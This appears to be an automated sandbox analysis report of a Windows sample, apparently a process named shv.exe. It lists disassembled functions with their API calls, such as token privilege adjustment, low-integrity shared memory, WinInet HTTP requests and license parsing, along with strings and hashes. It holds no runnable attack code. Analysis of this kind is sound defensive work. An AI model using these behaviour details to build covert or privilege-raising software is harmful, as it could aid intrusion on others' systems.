Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction ID: 9468362a24214777daa566dcdf50b15219a45997e5140564cfc0ff8077f1820c
Opcode Fuzzy Hash: 995ce70781ed1107fbe35a2df86b6ab92d82f2488d4e31342cdb9a65d606da21
Instruction Fuzzy Hash: BE112B32E08B4182EB20CF16E4402AD7BA1FB98B94F188231EE9D47794EF3CD965C700

Function 00007FF6FE19EA5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FE19E95F,?,?,?,00007FF6FE19463A,?,?,?), ref: 00007FF6FE19EA63
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FE19E95F,?,?,?,00007FF6FE19463A,?,?,?), ref: 00007FF6FE19EA6E

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6FE19EA78

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction ID: ca59950417c05fdf5538bfb8c23fa15746e21519ffe554b2b361e8dfd7e2e7e8
Opcode Fuzzy Hash: 98ce5a6e9b01a49333d4d7b683bb298ff4a8e953ba0927a3bf2f7aa8eb90df55
Instruction Fuzzy Hash: 1AE07569E19C4281E710EB669C865A92A517FF5760FA45331F03EC15F5BF2CAA4A8201

Function 00007FF6FE19A43C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FE19A447
FindResourceW.KERNEL32 ref: 00007FF6FE19A45D

Strings

RTL, xrefs: 00007FF6FE19A453

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction ID: ee104fd3a10934ba6706083cdad582aff0c849d14b175946c2757195234ba0b9
Opcode Fuzzy Hash: e39cf6139d6c3c808756c827088780cb49cd2dd94430b396554b51375d39015a
Instruction Fuzzy Hash: C6D05B91F0964185FF19C77754453B42A905F68B41F484038D85DC63D4FE2DE098C750

Analysis Process: shv.exePID: 3492, Parent PID: 824COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	102

Executed Functions

Function 1109E190 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109D440: GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,1B492F88,00080000,00000000,00000000), ref: 1109D46D
Part of subcall function 1109D440: OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
Part of subcall function 1109D440: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
Part of subcall function 1109D440: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,1B492F88,00080000,00000000,00000000), ref: 1109E225
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109E23E
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109E249
GetVersionExA.KERNEL32(?), ref: 1109E260
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2CE
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109E2E3
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109E2F4
CreateFileMappingA.KERNEL32(000000FF,11030063,00000004,00000000,?,?), ref: 1109E330
GetLastError.KERNEL32 ref: 1109E33D
LocalFree.KERNEL32(?), ref: 1109E366
LocalFree.KERNEL32(?), ref: 1109E373
GetLastError.KERNEL32 ref: 1109E390
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109E3AE
LocalFree.KERNEL32(?), ref: 1109E3D9
LocalFree.KERNEL32(?), ref: 1109E3E6

Part of subcall function 1109D3A0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E27E), ref: 1109D3A8

Part of subcall function 1109D3F0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E412
LocalFree.KERNEL32(?), ref: 1109E4DB
LocalFree.KERNEL32(?), ref: 1109E4E8
_memset.LIBCMT ref: 1109E500
GetTickCount.KERNEL32 ref: 1109E508
GetCurrentProcessId.KERNEL32 ref: 1109E5B4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E5CF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109E61B
GetLastError.KERNEL32 ref: 1109E624
GetLastError.KERNEL32(00000000), ref: 1109E62B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E660
GetLastError.KERNEL32 ref: 1109E669
GetLastError.KERNEL32(00000000), ref: 1109E670
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109E6A6
GetLastError.KERNEL32 ref: 1109E6AF
GetLastError.KERNEL32(00000000), ref: 1109E6B6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E6EB
GetLastError.KERNEL32 ref: 1109E6FA
GetLastError.KERNEL32(00000000), ref: 1109E6FD
LocalFree.KERNEL32(?), ref: 1109E725
LocalFree.KERNEL32(?), ref: 1109E732
GetCurrentThreadId.KERNEL32 ref: 1109E763
CreateThread.KERNEL32(00000000,00002000,Function_0009DD20,00000000,00000000,00000030), ref: 1109E77D
ResetEvent.KERNEL32(?), ref: 1109E7AC
ResetEvent.KERNEL32(?), ref: 1109E7B2
ResetEvent.KERNEL32(?), ref: 1109E7B8
SetEvent.KERNEL32(?), ref: 1109E7BE

Strings

IPC(%s) created, xrefs: 1109E7C8
cant create filemap, xrefs: 1109E375
Error creating filemap (%d), xrefs: 1109E344
cant create thread, xrefs: 1109E78A
map exists, xrefs: 1109E4EA
warning map exists, xrefs: 1109E490
Error cant map view, xrefs: 1109E3BB
Error filemap exists, xrefs: 1109E4BD
Error cant create events, xrefs: 1109E7E7
cant create events, xrefs: 1109E7F4
Info - reusing existing filemap, xrefs: 1109E479
cant map, xrefs: 1109E3E8
Cant create event %s, e=%d (x%x), xrefs: 1109E639, 1109E67E, 1109E6C4, 1109E707
SeSecurityPrivilege, xrefs: 1109E1FA
S:(ML;;NW;;;LW), xrefs: 1109E288

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction ID: e0f3534def007632db5cc521867dfefedb1bc63d92e862916d16df31d0e36df5
Opcode Fuzzy Hash: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction Fuzzy Hash: 221282B590026D9FE724DF61CCD4EAEF7BABB88308F0049A9E11997244D771AD84CF51

Function 11029590 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,1B492F88,74DF23A0,?,00000000), ref: 110295C5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102965F
SetLastError.KERNEL32(00000078), ref: 11029673
_malloc.LIBCMT ref: 11029697
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 110296B1
GetLastError.KERNEL32 ref: 110296D2
_free.LIBCMT ref: 110296DE
_malloc.LIBCMT ref: 110296E7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029701
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 1102973B
InternetOpenA.WININET(11194244,?,?,000000FF,00000000), ref: 1102975A
SetLastError.KERNEL32(00000078), ref: 11029764
SetLastError.KERNEL32(00000078), ref: 11029771
SetLastError.KERNEL32(00000078), ref: 1102977B
_free.LIBCMT ref: 11029785

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029805
SetLastError.KERNEL32(00000078), ref: 1102981E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029831
InternetConnectA.WININET(000000FF,11199690,00000050,00000000,00000000,00000003,00000000,00000000), ref: 1102984E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102986A
SetLastError.KERNEL32(00000078), ref: 11029883
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 110298A9
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 110298FD
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 11029A63
SetLastError.KERNEL32(00000078), ref: 11029B30
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029B82
SetLastError.KERNEL32(00000078), ref: 11029B99
FreeLibrary.KERNEL32(?), ref: 11029BAA

Strings

HttpOpenRequestA, xrefs: 110298A3
InternetCloseHandle, xrefs: 11029659, 110297FF, 11029864, 11029B7C
InternetOpenA, xrefs: 11029735
WinInet.dll, xrefs: 110295BD
InternetErrorDlg, xrefs: 110299A0
InternetQueryOptionA, xrefs: 110296AB, 110296FB
GET, xrefs: 110298C9
://, xrefs: 110297A5
InternetQueryDataAvailable, xrefs: 11029A5D
HttpQueryInfoA, xrefs: 11029943
InternetConnectA, xrefs: 1102982B
HttpSendRequestA, xrefs: 110298F7

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: 2d2eeaad931a34bca1b43c66b17deac4db3cf30db8dfadc355f34a03c0ad81b1
Instruction ID: e81a0880bf89439be6f70403065d0babe3f5b16467f55efefddb7e1ac6149969
Opcode Fuzzy Hash: 2d2eeaad931a34bca1b43c66b17deac4db3cf30db8dfadc355f34a03c0ad81b1
Instruction Fuzzy Hash: 5E127FB0D04269EBEB11CFA9CC88A9EFBF9FF88754F604569E465E7240E7705940CB60

Function 11061C90 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11144EA0: GetLastError.KERNEL32(?,02B4B870,000000FF,?), ref: 11144ED5
Part of subcall function 11144EA0: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,02B4B870,000000FF,?), ref: 11144EE5

_fgets.LIBCMT ref: 11061DC2
_strpbrk.LIBCMT ref: 11061E29
_fgets.LIBCMT ref: 11061F2C
_strpbrk.LIBCMT ref: 11061FA3
__wcstoui64.LIBCMT ref: 11061FBC
_fgets.LIBCMT ref: 11062035
_strpbrk.LIBCMT ref: 1106205B

Strings

_checksum, xrefs: 1106240F
?expirY, xrefs: 11062768
start, xrefs: 11062739, 11062750
?starT, xrefs: 11062771, 1106277D
_version, xrefs: 11062429
/- , xrefs: 110627FE, 11062831, 11062864
Expired, xrefs: 1106296B
shrink_wrap, xrefs: 11062636
%c%04d%s, xrefs: 11062184
cd_install, xrefs: 1106261B
licensee, xrefs: 11062A53
Client, xrefs: 11062262, 110622A4
%s.%04d.%s, xrefs: 110622A9
enforce, xrefs: 11062136
_include, xrefs: 110621C9
expiry, xrefs: 11062730
inactive, xrefs: 110625B1
defaults, xrefs: 11062116
ACM, xrefs: 11062697
_License, xrefs: 11062356, 11062414, 1106242E, 110625B6, 11062620, 1106263B, 11062657, 11062751, 11062970, 11062A58
product, xrefs: 11062652

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 46fe0e2f6ff4984a5f9afa3624aa9af9987d285b72e85ff2ff450320ced83e56
Instruction ID: 9b454a0e08db4b844aa329f9a873b431930d9d904307df7fc69ae15b9a8492e5
Opcode Fuzzy Hash: 46fe0e2f6ff4984a5f9afa3624aa9af9987d285b72e85ff2ff450320ced83e56
Instruction Fuzzy Hash: 55A2D375E0461A9FEB21CF64CC80BEFB7B9AF44345F0041D9E849A7281EB71AA45CF61

Function 11143570 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,74DF23A0), ref: 111435A3
LoadLibraryA.KERNEL32(?), ref: 111435EC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 11143605
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 11143614
GetModuleHandleA.KERNEL32(?), ref: 1114361A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1114362E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114364D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11143658
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11143663
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114366E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11143679
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11143684
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114368F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114369A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 111436A5
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 111436B0
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 111436BB
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 111436C6
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111436D1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111436DC

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Strings

SymFunctionTableAccess, xrefs: 111436C8
SymLoadModule, xrefs: 11143686
MiniDumpWriteDump, xrefs: 111436D3
SymSetOptions, xrefs: 111436A7
SymCleanup, xrefs: 1114367B
DBGHELP.DLL, xrefs: 111435FF, 11143604
SymGetSymFromAddr, xrefs: 111436BD
SymGetLinePrev, xrefs: 1114365A
SymGetLineNext, xrefs: 1114364F
SymGetLineFromName, xrefs: 11143647
SymGetModuleInfo, xrefs: 111436B2
dbghelp.dll, xrefs: 111435C8
SymGetLineFromAddr, xrefs: 11143628
StackWalk, xrefs: 11143673
SymInitialize, xrefs: 11143691
SymMatchFileName, xrefs: 11143665
IMAGEHLP.DLL, xrefs: 1114360E, 11143613, 11143619
SymGetOptions, xrefs: 1114369C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction ID: 707b91cc949213dae1a505c6abf15ec2f20ed18dfa7402eb99b54f6ccfa65761
Opcode Fuzzy Hash: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction Fuzzy Hash: 05411B70A04714AFD7309F768D84A6BFAF8BF55A04B10492EE496D3A10EBB5E8008F5D

Function 11139090 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 111390C7
IsWindow.USER32(0002043C), ref: 11139125
IsWindowVisible.USER32(0002043C), ref: 11139133
IsWindowVisible.USER32(0002043C), ref: 1113916B
GetForegroundWindow.USER32 ref: 11139186
EnableWindow.USER32(0002043C,00000000), ref: 111391A0
EnableWindow.USER32(0002043C,00000001), ref: 111391BC
SetForegroundWindow.USER32(00000000), ref: 111391CB
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11139209
IsWindowVisible.USER32(00000000), ref: 11139218
IsWindowVisible.USER32(0002043C), ref: 11139248
IsIconic.USER32(0002043C), ref: 11139255
GetForegroundWindow.USER32 ref: 1113925F

Part of subcall function 11131210: ShowWindow.USER32(0002043C,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

Part of subcall function 11131210: ShowWindow.USER32(0002043C,11139062,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131246

SetForegroundWindow.USER32(00000000), ref: 11139285
EnableWindow.USER32(0002043C,00000001), ref: 11139294
GetLastError.KERNEL32 ref: 11139353
GetLastError.KERNEL32 ref: 111393CB
GetTickCount.KERNEL32 ref: 11139678
GetTickCount.KERNEL32 ref: 11139699

Part of subcall function 11025BB0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,111396E2), ref: 11025BB8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 11139734

Strings

Reactivate main window, xrefs: 11139179
Audio, xrefs: 11139455
HookDirectSound, xrefs: 11139450
disableRunplugin, xrefs: 111392D8
MainWnd = %08x, visible %d, valid %d, xrefs: 1113913D
Shell_TrayWnd, xrefs: 11139204
Client, xrefs: 11139159, 111392DD, 1113963B
HideWhenIdle, xrefs: 11139154
File <%s> doesnt exist, e=%d, xrefs: 11139357, 111393CF
ShowNeedsReinstall in 15, user=%s, xrefs: 1113966B
NeedsReinstall, xrefs: 11139636

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction ID: 168a4b77644d94df8a921335772b55db7e1a21360cf08f879ca3086e41f0bcfd
Opcode Fuzzy Hash: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction Fuzzy Hash: 700229B8A1062ADFE716DFA4CDD4B6AF766BBC071EF500178E4255728CEB30A844CB51

Function 11115B70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

